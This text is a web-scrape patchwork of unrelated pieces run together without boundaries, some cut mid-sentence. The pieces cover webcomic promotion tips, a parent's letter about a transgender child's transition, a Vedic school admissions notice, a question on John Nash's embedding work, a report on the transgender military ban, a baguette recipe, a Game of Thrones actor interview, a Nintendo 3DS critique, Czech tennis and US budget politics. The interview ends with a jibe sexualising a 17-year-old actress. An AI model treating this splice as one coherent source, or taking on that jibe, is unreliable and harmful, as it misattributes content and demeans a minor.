Making social media accounts for your project may sound like a no-brainer to some of you, but not everyone does it. It is free and relatively painless to create a Facebook page, a Twitter account, a Google Plus page, etc, for your project/brand. While you CAN just use your personal one, sometimes it is nice to have an “official” one that fans/readers can follow, to keep SOME semblance of privacy to your life. There are many different social media sites, and while it doesn’t hurt to have an official presence everywhere, I’ve realized that for myself I need to focus more on what I already use and what works for me the best. For me, that’s Facebook and Twitter.
On Facebook, I mostly just post page updates (Monday’s and Thursdays) on the official page, share it on my private page and on one FB group that allows “update spam”. I’m sure there are more, but it hasn’t been worth the effort to me. As you can see, I’ll get a couple dozen hits from FB each day I post about a new page, and mostly people just look at a page or two. These are mostly returning readers just catching up, very rarely a new readers pops up from Facebook. I haven’t done any ads or promoted posts with Facebook ever since running one early on garnered us like 1500 fake likes that do nothing but minimize our reach :/ Twitter has been a bit better for me, but for reasons other than number of visitors and page views I get. In terms of traffic, favorites and RTs, twitter doesn’t really provide me with a ton of traffic, but I do get people checking out new pages that when I post them, as well as occasionally throughout the week because I use twitter as my primary social network for talking to people. One thing I will recommend that I’ve enjoyed is including a teaser image/panel, but not the full page, on update tweets, to encourage people to visit your page and not just view it in twitter. Having some image though draws the eye better than just text and a link.
There are of course other social media sources like tumblr, google plus, digg, reddit, etc, but I get even less traffic from them. I do know that those sites work well for some people though. Often it seems to be things that are more shareable, like humor strips. Since my comic is long form, requiring an investment in the whole story, a single page is not that shareable, really.
Here you can see two of the best pages I ever shared on reddit. I was able to come up with a sexy-sounding post title for them, and drew in a LOT of visitors, but with very little retention. The vast majority read one or two pages and disappeared, never to return. So I personally got discouraged and stopped posting there. But, I still do get some readers who originally found me on reddit, so it definitely CAN be worth it. She is just a fickle mistress and the downvotes can be very discouraging. I have had the best experiences there by finding smaller niche communities and being part of them and occasionally sharing what I do, instead of just posting to /r/webcomics or /r/comics.
Mike G, of Antares Complex, shared in the comments some ideas to maximize efficiency on some social sites like Tumblr and DeviantArt. Basically, use keywords/hashtags effectively to improve your work’s searchability on those sites and on search engines.
2. Link Exchanges, or in other words, Comic Friends:
One of the best free ways to promote yourself and increase your traffic is when other comics link to you. How you accomplish this is primarily one of two ways. One, you participate in some sort of organized link exchange. An “I’ll put your link on my link page if you put yours on mine.” I am not that big a fan of these, as they aren’t as meaningful as the second option: someone is your friend as so they link to you. This takes more work (which I’ll get in to later), but is much more beneficial, and not just for numbers. A couple of examples. Recently, my friend Dan Butcher, creator of the excellent British superhero webcomic Vanguard, let me submit a poster page ad of The Demon Archives which he put up on his site for a day during a break between chapters. He said some nice things and recommended his readers check me out. About 100 of them did, reading most of the archive, and more importantly, sticking around and visiting multiple times.
What it Takes, another amazing post-apocalyptic comic by my friend Kez, simply lists The Demon Archives in the sidebar of every page under “Post-apocalyptic comics that [protagonist] would read.” Over this past month I got 24 new visitors JUST from her listing me there, as well as returning visitors who keep coming back and reading.Repeat this a dozen times around different comics made by people I’m friends with who link to me because they like me and they like my stuff, and that’s a significant amount of traffic. For $0.
This leads me to the bigger point of this section: MAKE FRIENDS. Real friends, not just fake friends you hope will pimp your links occasionally. If you actively put the effort to actually get to know and care about people, the rewards will be vast and much more significant than the traffic you will also probably get. That’s my favorite part about Twitter, actually. Using it to interact with the other creators I’ve met and become friends with.
3. Reviews:
I personally enjoy submitting TDA to review sites to get feedback. I know that this isn’t for everyone, and it really isn’t a good source of traffic, but I enjoy getting some critical feedback, and quotable lines from reviewers to potentially use when promoting my work. Webcomic Police gave us one of our first ones. With reviewers, you tend to have people who are either super supportive and positive and spout rainbows and wonder about your work, or you have extra critical reviewers who can’t seem to be pleased. WP is a little more in the second camp, but they were still fair. This was probably over a year ago, and yet I STILL get an occasional new user, or visits from people who originally found us there, who then read a large number of pages.This holds true on most of the places where I’ve gotten a review. Occasionally I’ll get a visitor who normally reads a lot of the comic and sticks around. Low number, high quality. PLUS you get good feedback. |
positive experiences, and toys galore. There was an un-childlike, persistent sadness that lay about you like a pall in those years, which should have been so magical.
You see, I believe that what had happened while I was wasting my energy hoping that you would make peace with your biology was that we had become unwitting contributors to your fracture into two different people: “Mica’’ and “Mia.’’ Home and school. Boy and girl. Unguarded and guarded. Open and shut. Reality (yours) and role-play (ours).
On the home front things were most certainly getting ‘better,’ or should I say, ‘easier?’ Your tantrums subsided as we managed to convince you that we were truly OK with you being a boy, and that we believed that what you felt about your identity and your expression of it was your choice. Your sister had become a huge support in this regard. Not many 5-year-olds could act with the grace and compassion that she did (and still does). She stopped teasing you about not being a ‘real boy’ and accepted our mantra that “what you are in your heart and your mind is far more important than what you are in your body.’’ The hard knot of your anger started to dissolve. We all basked in this momentary detente.
In the early spring of your fourth year we went on a glorious trip to Disney World, where you were the only kid we saw in a Prince Charming costume. You glowed when strangers stopped and remarked, “Isn’t he adorable!!’’ and “What a handsome little man!’’ and we didn’t correct people, because we knew how much you enjoyed being ‘mistaken’ for a boy. The status quo was an OK place to be.
But back at school, activities, and in our community at large, you remained markedly withdrawn. Our reports from your teachers were that, if prompted, you joined in group activities. You rarely, if ever, engaged your peers in free play. The day you hugged your teacher for the first time brought her to tears. I believe you occupied a special place in her heart, and that she felt protective of you. I am so grateful for the good people in our lives.
Despite the fact that you were beginning to relax in the classroom, you continued to erect walls between yourself and others. The barking and loping persisted, and always there was the hood that would come over your eyes that said: shutting down now. In my ignorance, I even wondered at times whether you were touched by a mild form of autism, but it seemed incongruent that this behavior turned on and off as if by a switch.
It was that playdate at Papa Gino’s that shuttled me right over the edge from keeping it fluid to the time is now. To be truthful, there were many small fissures forming in the Theory of Status Quo as I have now come to see it. There was your tearful sister begging me to force you into a dress so that “people will treat her nicer.’’ There was the sweet little girl at a birthday party that asked me about you: “What is that? Is that a BOY or is that a GIRL?’’ There were the burgeoning signs of dysphoria (“What’s wrong with my body? Why did God make me like this? Is he stupid?’’).
But what finally broke me from my unhappy trance was nothing more complicated than a post-last day of school pizza party, where I got a chance to see you interact with your classmates outside of a structured setting. Everyone was there, the boys, the girls, and most of the moms. You sat down at the edge of a gaggle of girls and tucked into your slice. No one jostled you in friendly banter, no one yelled, “Come on Mia! Let’s run to the end of the restaurant and back!’’ The happy little bodies were in constant locomotion, stepping around you and over you as you sat staring at your pizza. Then you looked up at a group of boys being disciplined by their frustrated moms for running amok, “Sit down Jack! Behave Grady!’’ and the expression on your face skewered me. It was a hunger that I had never seen before. You weren’t confused. You knew where you belonged. You just didn’t know how to get there. What if it was I who was responsible for showing you the way?
School was officially out for the year. You were signed up for the next year. Another year, deposit down, of living two lives. Open-shut, boy-girl. I watched you carefully during the next week while you enjoyed a camp run at your preschool, and I thought and I weighed, and I deliberated and I doubted, until a million possible futures nearly drove me to distraction. What if? Your dad and I talked long into the evenings after you had gone to bed and in the mornings before we emerged from ours. A video had gone viral in the weeks before. A slideshow of a transgender boy, not much older than you, whose loving California family had supported his public transition. We wondered if seeing the pictures of this boy, who was so obviously happy in his ‘new skin,’ could make you believe in the possibility of your own fulfillment.
It was Friday, June 13, in the evening after your last day of preschool camp, when we called you upstairs into your dad’s office. We told you we had something for you to see, and so you sat, engulfed in your dad’s big black swivel chair, as he cued the video on his laptop. I translated the words into ‘kidspeak’ as they began to flit across the screen, accompanied by wonderful, endearing pictures. You viewed intently and solemnly as young Ryland Whittington was transformed from a beautiful little girl with golden locks into a handsome smiling boy in a buzz cut and tuxedo. When the video ended, you asked to watch it again. Then you sat staring at your hands. We asked you what you thought about the boy, and you shrugged, stone-faced. The walls you had erected were made of hardier stuff than we expected. But the moment was now. All three of us in this room, your palpable pain, the resolution we needed to help you find.
So I got down on my knees and took your soft, still baby-like little hands in mine. I asked you to look at me, but when you lifted your beautiful gaze to mine, I was momentarily speechless. I rallied. “I believe you,’’ I said, and I didn’t bother to wipe the tears with my sleeve this time. “We believe you. All we want is for you to be happy, but you need to help us understand what will make you happy.’’ Your dad knelt down next to you, too. “Do you want to be a boy all the time like that boy we showed you?’’ he asked gently. Your eyes filled immediately. “I can’t,’’ you responded with a quivering lip. “I HAVE to be Mia at school and Mica at home.’’
So we told you. We told you about the choices, any of which you could make — or not. We told you that these choices were yours. Among which, you could continue at your school as Mia. Or, you could go there next year with any new identity and finally, more radical yet, we could find you somewhere to start anew, to simply be the boy you had insisted for so long that you were. You paused a long while. I didn’t know if you could do it. I didn’t know if you had the faith in us to tell us what you truly wanted. I didn’t know if you could imagine a future where you were whole : one identity, body and mind. You broke the silence. “I want to go to a new school. I want to be a boy always. I want to be a boy named Jacob.’’
Jacob, my love. It’s been nine months and change since that fateful Friday, and so much has transpired to make us believe that the journey we are taking together is the one we need to be on. It’s been tough, make no mistake, and solving your more immediate identity crisis did not resolve all the latent feelings of shame and sadness that you have suffered. But the powerful effect of your transformation was almost immediately felt by all who knew you and loved you.
Within days of beginning life anew as Jacob, you began to stand up straight and look people in the eye. You stopped barking like a dog and running for cover. In allowing your transition, we were only hoping to help your spirit survive. We did not expect the seismic shift in your personality that we experienced. You cracked your first real joke within a week, took a fresh interest in learning your alphabet (ironic since school was out), and so much more. You started to cuddle and kiss, laugh and sing —and the dam just broke. You talked and talked and talked as if someone had taken a muzzle off your mouth. You took up hobbies, collecting anything and everything you found that piqued your interest (mostly detritus: scraps, stones, and screws you picked off the street to my chagrin). That summer, the world opened up its treasures to you.
Your dad and I were astounded, delighted, and profoundly gratified. These positive experiences were crucial for us, because those early days were laden with fear. We were always double, triple, quadruple guessing our decisions, approaching each “re-introduction’’ with trepidation. It all seemed so fragile. We fretted: Who would break your trust? Who would clip your wings? Who would sneer or goggle or laugh, sending you running back for cover? But you were strong, not fragile. You were brave, not weak.
Together we weathered the firsts. The first time we wrote your name — yours, a triumphant experience, mine, accompanied by a floodgate of tears. The first time I asked someone to call you Jacob, and finally, the first time that you did. Your first Christmas acknowledged as a boy. You confessed afterward that you had half expected Santa would forget and bring you Mia’s presents. Oh baby. The first public announcement, followed by a deluge of love and support from beloved family and friends — their support carried us and continues to carry us. The first week of the new school (you were obsessed about the bathrooms for the longest time) and the first time we ran into someone from your old school (it was awkward, we survived).
Jacob, my love, it is you that have transitioned us to a life less ordinary, and so much more meaningful than it ever would have been. Thank you deeply for your sacred trust. The mystery that is you may never be amenable to a full resolution. I don’t know what’s beyond the next bend in the road, but I am no longer afraid.
I believe in the goodness of people. And I believe in your ability to dispel much of the ignorance and intolerance in those you may encounter. I look at how fine a human being you are becoming—far beyond my meager original intentions — and I know that the future is bright for you. I am no longer afraid.
And it is because I no longer fear—the outcomes, the medical interventions, and the bigotry—that I will not be filing this birthday letter in a box in our attic with those of earlier years. Rather, momentarily, I will set these words free — relinquishing my control over their trajectory and destination. Their intent is to provide comfort and strength to another mother or father with an aching heart. To provide the message: It doesn’t get better. It gets awesome.
For I have seen and wish to share remarkable things. In those early days as Jacob, I saw the most authentic parts, in the deepest reaches of you, begin to unfold. I saw you take your first huge breaths. I saw the clouds above your head scatter and run. At first there was a silence, as you paused to take in the new world around you, and then you roared: I AM HERE!! It was then that I realized that we had indeed met before, but that truly I had not recognized you that first time. It was then that my grief began to depart, as I knew in my soul that you had always been my son, Jacob.
And so always, my love,
Mom
Lemay lives with her husband and children outside Boston. This article was originally published on Medium.com, and has been republished on Boston.com with the author’s permission.May 13th, 2016
JIVA GURUKULAM
Jeeyar Integrated Vedic Academy Campus, Sriramnagaram, Muchinthal, Ranga Reddy District – 509325
Jeeyar Integrated Vedic Academy (JIVA Gurukulam) run under the supervision of HH Sri Sri Sri Tridandi Chinna Srimannarayana Ramanuja Swamy is seeking admissions for the year 2016 from eligible students. Candidate’s age should be 10 – 12 years old as on 15-06-2016.
Syllabus and Academic Details:
Rugvedasakala Sakha, Krushna yajur veda thaitthiriya sakha, Sukla yajur veda kanva Sakha and Sama veda Kowthuma Sakha – 12 years
Krishna yajur veda mythrayani Sakha, Attharvaveda sownaka Sakha – 8 years
Sripancharathragamam – 6 years
Divyaprabandham – 5 years
Education, boarding, lodging, clothes, books, food will be provided free of cost to the admitted students.
After Completion:
After completing 12 years of Rug veda sakala sakha ghanantham, Krishna yajurveda thaitthiriya sakha ghanantham, sukla yajurveda kanva sakha ghanantham and samaveda Kowtthuma sakha rahasyantham, every candidate can be honored with Rs.15 lakhs along with degree certificate. Every candidate will be honored with Rs.12 lakhs along with degree certificate after completing 8 years of Krishnayajurveda mythrayani sakha, Attharvaveda sownaka sakha. After completing 6 years of Sripancharathragamam, every candidate can be honored with Rs.8 lakhs along with degree certificate. Nalaira Divyaprabandam candidate can be honored with Rs.5 lakhs along with degree after completing in 5 years.
This scheme has been announced on the special occasions of Sri Sri Sri Chinna Jeeyar Swamiji’s 60th thirunakshathram and Sri Ramanuja Sahasrabdi celebrations. It is only applicable for students joining this year 2016 only.
Interested candidates can download application from https://chinnajeeyar.guru/vedicschools/admissions/ and bring completed application to JIVA Gurukulam on 07-05-2016 or 14-05-2016 or 21-05-2016 or 28-05-2016 to attend written and oral exams. For more details contact – 9553549971.$\begingroup$
It would seem that John Nash and his wife Alicia died tragically in a car accident on May 23, 2015 (reference). My condolences to his family and friends.
Maybe this is an appropriate time to ask a question about John Nash's work which has been on my mind for awhile. John Nash's best known work to the world at large involves his contributions to game theory, but to many geometers his work on embeddings of Riemannian manifolds is really his crown jewel. An excerpt from a note by Gromov:
When I started studying Nash’s 1956 and 1966 papers (it was at Rokhlin’s seminar ≈1968), his proof has stricken me as convincing as lifting oneself by the hair. Under a pressure by Rokhlin, I plodded on, and, eventually, got the gist of it... Trying to reconstruct the proof and being unable to do this, I found out that my ”formalization by definitions” was incomplete and my argument, as stated in 1972 was invalid (for non-compact manifolds). When I simplified everything up and wrote down the proof with a meticulous care, I realized that it was almost line for line the same as in the 1956 paper by Nash - his reasoning turned out to be a stable fixed point in the ”space of ideas”! (I was neither the first nor the last to generalize/simplify/improve Nash, but his proof remains unrivaled.)
So I'm wondering if anyone can comment on the legacy of Nash's work in geometry today. Have his ideas been absorbed into a larger theory? Have his techniques found applications outside of manifold embeddings?
Perhaps this is a good place to comment on other parts of his mathematical legacy as well, if anyone would like to.President Trump signed a presidential memo Friday instructing the Defense Department to stop accepting transgender people who want to enlist in the military.
The memo details Trump's previous Twitter announcement last month that he would reinstate a ban on transgender people serving in the U.S. military, and officially requests the Pentagon begin implementing the ban.
Trump’s memo bars transgender people from enlisting, but instructs Secretary of Defense James Mattis James Norman MattisTrump backs off total Syria withdrawal Grass-roots campaign backs Mattis for public office Overnight Defense: Dems tee up Tuesday vote against Trump's emergency declaration | GOP expects few defections | Trump doubles number of troops staying in Syria to 400 MORE to further explore how to handle transgender people currently serving in the armed forces.
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The memo also orders the Pentagon to stop paying for gender reassignment surgeries, except in cases that are already in progress to “protect the health of an individual.”
It also requests that the Pentagon develop an implementation plan for the ban by Feb. 21 2018, to be put in place on March 23, 2018.
On a call with reporters prior to the memo’s release, a White House official said Trump “spoke passionately” about the freedoms of the LGBT community, but based the policy on a “series of national security considerations,” according to reports.
Pentagon spokeswoman Dana White said in a statement that “the Department of Defense has received formal guidance from the White House in reference to transgender personnel serving in the military.”
More information on the guidance will be provided early next week, Pentagon spokesman Lt. Col Paul Haverstick told The Hill.
The news follows Trump’s tweets last month announcing his abrupt decision to reinstate a ban on transgender people serving in the U.S. military.
Trump wrote on Twitter that transgender troops could no longer serve “in any capacity."
Among his reasons, Trump wrote that the Pentagon “cannot be burdened with the tremendous medical costs and disruption” brought by transgender service members.
The new guidance reverses an Obama administration policy implemented in July 2016 that allows transgender people to serve openly in the military.
Trump’s memo frames Obama’s policy — which was crafted after a working group spent a year to hammer out the details and implementation — as dismantling the Pentagon’s “established framework.”
It also claims the previous administration did not “identify a sufficient basis to conclude that terminating the Departments' longstanding policy and practice would not hinder military effectiveness and lethality, disrupt unit cohesion, or tax military resources,” therefore requiring further study.
Former Defense Secretary Ash Carter in June 2016 ordered the Pentagon to spend a year to study how to allow transgender individuals to join the military.
Mattis in June extended the study through January 2018, but it was abruptly thrown off after Trump announced the ban in July.
The presidential memo immediately drew outrage from LBGT advocacy groups.
The GLBTQ Legal Advocates and Defenders (GLAD) and the National Center for Lesbian Rights (NCLR) – which jointly filed a federal suit on Aug. 9 on behalf of five transgender troops contesting the ban – in a Friday statement called the memo a “senseless and unprecedented attack on dedicated service members who have played by the rules.”
“Our military already has standards and systems in place to ensure our troops are qualified and fit to serve,” said Shannon Minter, NCLR Legal Director. “Trump's ban is about politics, not military policy, and it will make our country less secure.”
GLAD Transgender Rights Project Director Jennifer Levi said the policy is “a shameful slap in the face to people who put their lives on the line everyday to defend our country.”
”Our military is strongest when all people who are fit to serve have the opportunity to do so. This unprecedented policy amounts to a purge of qualified, contributing troops, and will serve only to undermine unit cohesion and weaken military readiness,” Levi said.
The two groups also plan to file a motion in D.C. district court.
The transgender ban policy already faces intense opposition from top Republican senators, dozens of retired generals and admirals and advocacy groups.
This story was updated at 7:38 p.m.A hollowed baguette obviously makes a perfect shell for any filling you are in the mood for. And once stuffed and properly chilled, it becomes a neat appetizer.
This particular one is filled with all my favorite things: goat cheese/cream cheese, sun dried tomatoes, olives, spicy salami, crunchy bell pepper, and fresh herbs.
Makes one 12-inch long baguette; about 24 slices
Ingredients:
Baguette about 14-inch long
8 oz cream cheese, at room temperature
4 oz fresh goat cheese
1 large garlic clove, minced
½ cup finely chopped red bell pepper (about 1 medium)
½ cup finely chopped sun dried tomatoes in olive oil
¼ cup finely chopped Kalamata olives
2 oz finely chopped spicy salami
About 2 tbsp minced Italian parsley
About 1 tsp minced fresh thyme
Freshly ground black pepper
Salt to taste (very unlikely since there’re plenty of salty ingredients)
Preparation:
Slice off both ends of the baguette. Using a long thin knife and working from the both ends, hollow the baguette out leaving about ½-inch thick crust all around.
Using an electric mixer beat the cream cheese until smooth and lump-free. Beat in the goat cheese and garlic. Stir in the rest of the ingredients.
Working again from the both ends, fill the baguette with the cheese mixture. Pack the filling tight. I like to use a slender tequila shot glass for pressing the filling in. Wrap the stuffed baguette very well in plastic and refrigerate for at least two hours and up to two days. Right before serving, slice the baguette into ½-inch thick slices and serve. For the most neat looking slices, treat it as a cheesecake – each time slice it with a hot dry knife.(Picture: MCM London)
Game Of Thrones actor Ian Beattie says playing Meryn Trant was ‘one of the greatest challenges’ of his acting career so far.
Speaking at MCM London, Ian explained how difficult it was to play the villainous character, who enjoyed raping young girls.
That is, until he came to a bloody end thanks to Arya Stark.
‘It was so awful, I mean I have three kids at home,’ the actor said. ‘And if anyone touched any of my children, let me tell you something, it would take that person longer to die than Meryn.
‘So yeah, they were extraordinarily upsetting scenes to do, one of the greatest challenges of my acting career so far.’
Ian as Meryn and Maisie Williams as Arya (Picture: HBO)
Ian said shooting the scenes with actress Maisie Williams were difficult, but still a brilliant experience because of her talent.
‘The actual end, when Maisie and I fight, well she’s just an incredible actress. Absolutely incredible,’ he said. ‘One of the most stunning young actresses I’ve ever seen, and she’s absolutely wonderful.
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‘We decided, her and I, very, very early on, that in this particular scene we’d go for it. And we went for it. I had complete trust in her, and she had complete trust in me. It was technically very difficult as well because of the eyes. We filmed that last scene on my last day, unusually enough, and it was all filmed in order. So the last take [miming throat cutting] was the last take for me.
MORE: Game Of Thrones season 6 spoiler alert! Jon Snow and Sansa Stark to return to Winterfell
MORE: Game Of Thrones Spoilers: Ian McShane’s character will bring someone back to life in season six
‘Very early on in the day my eyes went out, so I had these prosthetics on. And for the last 7 or 8 hours on set I was completely blind, which was really weird. You had blood coming up, and blood going down your nose. It was all just technically very difficult. But being blinded really helped me show a vulnerability in that character, at that moment in time.
He added: ‘But it was very, very difficult. And I just thank whatever gods are up there that I had Maisie to do it with.’
Despite the fact Arya killed his character, the actor said he would have loved to play the young Stark, only ‘if I were other than who I am.’
So a 17-year old girl, right Ian?
Game Of Thrones season six will premiere May 2016Nintendo used a Japanese Nintendo Direct this morning (which many hoped would contain a Super Smash Bros. Wii U release date) to announce a new version of its 3DS handheld. The news has surprised many, and so have the details about what the 3DS revamp actually contains.
The new pair of 3DS models appear to be literally called "New 3DS" and "New 3DS LL (XL)," but more on that head-scratching name later. Each features an upgraded CPU, a new small analog nub above the SNES-recolored buttons, and additional shoulder buttons next to the current ZL and ZR buttons. It supports sliding custom covers and will have better 3D than previous models as well.
It's the CPU that's drawing the most attention, however. Not because of its power necessarily, but because Nintendo seems intent on fracturing their 3DS userbase with this new model. They've announced a new Xenoblade Chronicles game for the New 3DS, and also revealed that it actually requires this new CPU to play.
This is alarming many Nintendo fans who currently own a 3DS, sending out a signal that perhaps most new games for the 3DS will indeed require this "New 3DS" CPU, or even the functionality of its additional controls. The idea is that with more power and more buttons to work with, why would developers not design games for the new system?
But it's not as if players can even simply take the expensive step of buying a new New 3DS (can't resist discussing this name much longer), because if they do, Nintendo lacks a unified account system that would allow them to say, transfer and download their old, purchased games to the new handheld.
There are just over 44 million 3DS handhelds out there right now, and Nintendo has worked painstakingly to encourage adoption of the unit after an initially slow start. But now this idea that some games may be playable on both models while some may only work on the new version is worrisome.
It would be one thing if this system was a full on sequel to the 3DS, and with these kinds of upgrades, it practically is. But once again, Nintendo's naming department has totally botched branding. From what we can tell from the announcement and subsequent marketing, I will repeat, they have actually named this new model "New 3DS," which is an even more confusing identifier than the famously terrible "Wii U," which misled people into thinking the brand new console was just a peripheral for the existing Wii.
But "New 3DS"? I can already imagine the conversations at the GameStop counter.
"Do you have a new 3DS?"
"I'm sorry, did you say new 3DS or New 3DS?"
"My son wants a new 3DS for his birthday."
"A new New 3DS?"
"A new 3DS."
"We have a used New 3DS."
"I will take the cheapest one."
"Ah, that would be a new old 3DS"
*child cries on his birthday*
It's like the "Who's on first?" of video game hardware naming.
Right now, this information is too new and unclear to make any firm judgments about the handheld yet. Nintendo has only announced the system's release for Japan on October 11th, and confirmed to Eurogamer it wouldn't be out in the EU until 2015 (no word on NA yet). Perhaps there's some solution regarding the fractured userbase that won't totally leave old 3DS owners in the dust. Perhaps there's a better name for the new unit on the horizon that isn't an Onion-level parody of Nintendo's naming skills. But all we know is what's been announced, and it's a cool piece of tech that has some very perplexing caveats attached to it right now.
More details as they come in.
Update: Check out our own Andy Robertson discuss the New 3DS announcement in charming video format here.
Follow me on Twitter, like my page on Facebook, and pick up a copy of my sci-fi novel, The Last Exodus, and its sequel, The Exiled Earthborn, along with my new Forbes book, Fanboy Wars.
How should Destiny spend its $500M budget? I explain below:René Denfeld profiles the rise of Czech women’s tennis ahead of an all-Czech final in Sydney – the first of 2015 and likely not the last.
There was every chance for the women’s event in Sydney to be one the biggest deja-vús in recent tennis history. In the top half of the draw, unseeded Karolina Pliskova faced last year’s finalist and No. 5 seed, Angelique Kerber. In the bottom half, second seed Petra Kvitova saw herself in a rematch with qualifier and defending champion Tsvetana Pironkova. The enigmatic Bulgarian could have easily lifted the trophy again with an identical sequence of victories to 2014: No. 2 Kvitova in the semis and No. 5 Kerber in the finals.
But the two big-hitting Czechs had other plans.
When the Czech Republic’s No. 1 and No. 3 enter the court in Sydney tomorrow, it will be a battle of big serves and massive groundstrokes. Both two-time Wimbledon Champion and rapidly Rising Star are not going to leave a stone unturned when it comes to searching for opportunities to land the first strike. Pliskova, who took two titles last fall, has only dropped one set en route to the final, handing out three bagel sets along the way and demolishing Kerber with 32 winners in less than an hour. Kvitova dropped a set to Australian wildcard Jarmila Gajdosova, and though she was slow out of the blocks against Tsvetana Pironkova in her semifinal, she easily outhit the former Wimbledon semifinalist to reach the finals.
While it will be a battle of ballstriking, this final will also indicate whether Pliskova can make a valiant push to further shake up the hierarchy at the top of Czech women’s tennis. For the past few years, Kvitova and Lucie Safarova have been the two biggest and most successful names in their country, but since Wimbledon, more and more compatriots have begun to shine on the court. Pliskova, the current world No. 22, is poised to enter the Top 20 by virtue of reaching the finals; with a victory over her famous countrywoman, she could put her name on the map and become more than just a dark horse at next week’s Australian Open. The 22 year old already pushed Kvitova to three sets in Wuhan a few months ago.
No other nation has more athletes in the WTA Top 20 than the small country in central Europe. Along with the young guns and established veterans, the late-blooming, sometimes temperamental, always entertaining Barbora Zahlavova-Strycova is already knocking on the door to follow Pliskova as she’s bound to climb to No. 21 after her Sydney-quarterfinal showing.
In today’s post match press conference in Sydney, Kvitova was asked why her country was doing so well; at first, she laughed and claimed she doesn’t really have an answer. Eventually she remarked:
I think the tennis is very popular in the Czech Republic [..] and I think we have plenty of history in our tennis. It is how you said already, Lendl, Kodes, Navratilova, Novotna. It’s a lot of great players. That’s why probably we just start to play. Because my parents like to play tennis so I started as well.
Names like Kodes, Lendl, Mandlikova, Novotna, Korda and last but not least Navratilova have a combined 35 Grand Slam titles among them in the 80s and 90s, inspiring entire generations, including last year’s Wimbledon champion, to pick up a racquet. Much like neighboring country Germany or France, there is a brimming league competition in the Czech Republic with a very active club system. Pliskova herself spent her off-season training in Prague, then competing in club tournaments to test her match fitness. Navratilova has cited it many times as one of the reasons why her compatriots become tougher; the leagues encourage playing an above-average amount of practice sets, fueling competitive fire. With two Fed Cup trophies within the last three years, it’s difficult to argue with the 18-time Slam champion.
And it doesn’t end there. More promising young women from the Czech Republic abound, all of whom are likely making waves in 2015:
Tereza Smitkova (No. 65)
The 20 year old began 2014 outside the Top 200, but courtesy of a big run through qualies into the second week of Wimbledon, Smitkova cracked the Top 100 and capitalized on her improved ranking, enjoying solid results ever since. The young Czech doesn’t have a lot to defend until June and played Kvitova tough in the Shenzhen quarterfinals.
However, she has also shown a tendency to bubble over on court, as seen when she broke down in tears after losing to Meusburger in Bad Gastein last summer.
Katerina Siniakova (No. 80)
Hailing from Smitkova’s hometown of Hradec Kralove, Siniakova climbed from No. 173 to No. 83 in 2014 and put together a string of great results at the end of last season, making the semifinals of Moscow as a qualifier and winning the ITF 50k in Nantes. There are still a couple of technical hitches in her game, but when she has time to set points up, she can dictate play efficiently, even if her groundstrokes don’t look the most economical at all times.
At 18 years of age, there is still plenty of room for streamlining Siniakova’s groundstrokes and improving her second serve.
Denisa Allertova (No. 107)
Allertova is certainly the newest kid on the Czech bloc: so new, the WTA still don’t have anything up on the 21 year old beyond her age. Allertova began last season at No. 368 and racked up a massive 7 titles on the ITF tour, making a breakthrough WTA in Luxembourg, up-ending Sabine Lisicki and Varvara Lepchenko on her way to the semifinals as a qualifier. Allertova isn’t too dissimilar to Karolina Pliskova; she stands at 1.80m and is thus able to serve big and hit big off of both wings. But her game is still in the process of clicking, and a solid retriever like Annika Beck is easily able to draw errors from the Czech’s racquet.
Having climbed over 300 ranking spots within 12 months though, it’s hard to believe that the upward trajectory is going to come to a sudden halt, especially since Allertova hasn’t played a single Grand Slam main draw match yet.
There’s certainly no shortage of Czech talent in the Top 100. On the contrary: it looks like it’s bound to increase within the next few months. Who knows – perhaps Karolina’s twin sister Kristyna will also start surging up the rankings soon, as well. A little further down you have Jana Novotna-coached 19 year old Barbora Krejcikova, who has already begun to make steady progress.
And let’s not forget the reunited “Silent Hs” – Lucie Hradecka and Andrea Hlavackova – who will no doubt be in the hunt for more doubles glory.
The all-Czech Sydney final might be just the first of several we’re going to see this year. It also promises a packed WTA International in Prague later this year, full of homegrown talent.
You could certainly do a lot worse than being Czech WTA fan these days.
AdvertisementsA NYPD cop was caught on video in Coney Island getting physical with a man named Lamard Joye before stealing $1,300 from his pocket and then pepper spraying him. Joye’s lawyer, Robert Marinelli, has claimed that the event was precipitated by Joye and his friends questioning cops who were roughing up a young man nearby. The NYPD has defended the officer and made a statement criticizing what they are calling “video activism.” We look at video of the scuffle and the NYPD’s response, in this Lip News clip with Mark Sovel and Elliot Hill.
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http://ift.tt/1qQBCOBThe Pace 2.0 challenges riders to add this statement to their riding portfolio: “I can go to the brakes at any time during my ride.” The Brake Light Initiative (BLI) will take this challenge much further as I illustrate that a rider’s ability to use the brakes anywhere, anytime will significantly improve his or her riding. Each and every brake application begins with the first movement of a brake lever or pedal, typically the point where the motorcycle brake light flashes on, and that initial squeeze begins the forward weight transfer to load the fork springs and front tire. This initial squeeze can happen relatively quickly, but it shouldn’t happen abruptly. Big difference. If grip is good, meaning you aren’t |
their proposal, they feel they have no choice if they want to balance the budget in a decade, which they’ve proposed for years, and give Trump what he wants.
Enraged by Democrats claiming victory after last month’s government funding agreement, White House officials in recent weeks have pressed Hill Republicans to include more Trump priorities in the fiscal 2018 blueprint.
House Budget Republicans hope to incorporate those wishes and are expected, for example, to budget for Trump’s infrastructure plan. Tax reform instructions will also be included in the budget, paving the way for both chambers to use the powerful budget reconciliation process to push a partisan tax bill through Congress on simple majority votes, as well as the $400 billion in mandatory cuts.
“The critique last time was that we didn’t embed enough Trump agenda items into our budget,” said Rep. Dave Brat (R-Va.), a budget panel member. Trump has "made it clear it will be embedded in this budget. … And so people will see a process much more aligned with President Trump’s agenda in this forthcoming budget.”
New spending, however, makes already tough math even trickier for a party whose mantra is “balance the budget in 10 years.” Lawmakers need to cut roughly $8 trillion to meet that goal, budget experts say. And while a quarter of their savings in previous budgets came from repealing Obamacare and slicing $1 trillion from Medicaid, Republicans cannot count on those savings anymore because their health care bill sucked up all but $150 billion of that stash — relatively speaking, mere pocket change to play with.
Republicans’ first reflex would be to turn to entitlement reform to find savings. Medicare and Social Security, after all, account for the lion’s share of government spending and more than 70 percent of all mandatory spending.
But while former Freedom Caucus conservative-turned-White House budget director Mick Mulvaney has tried to convince the president of the merits of such reforms, Trump has refused to back down on his campaign pledge to leave Medicare and Social Security alone. (He’s reversed himself on a vow not to touch Medicaid, which would see $880 billion in cuts under the Obamacare repeal bill passed by the House.)
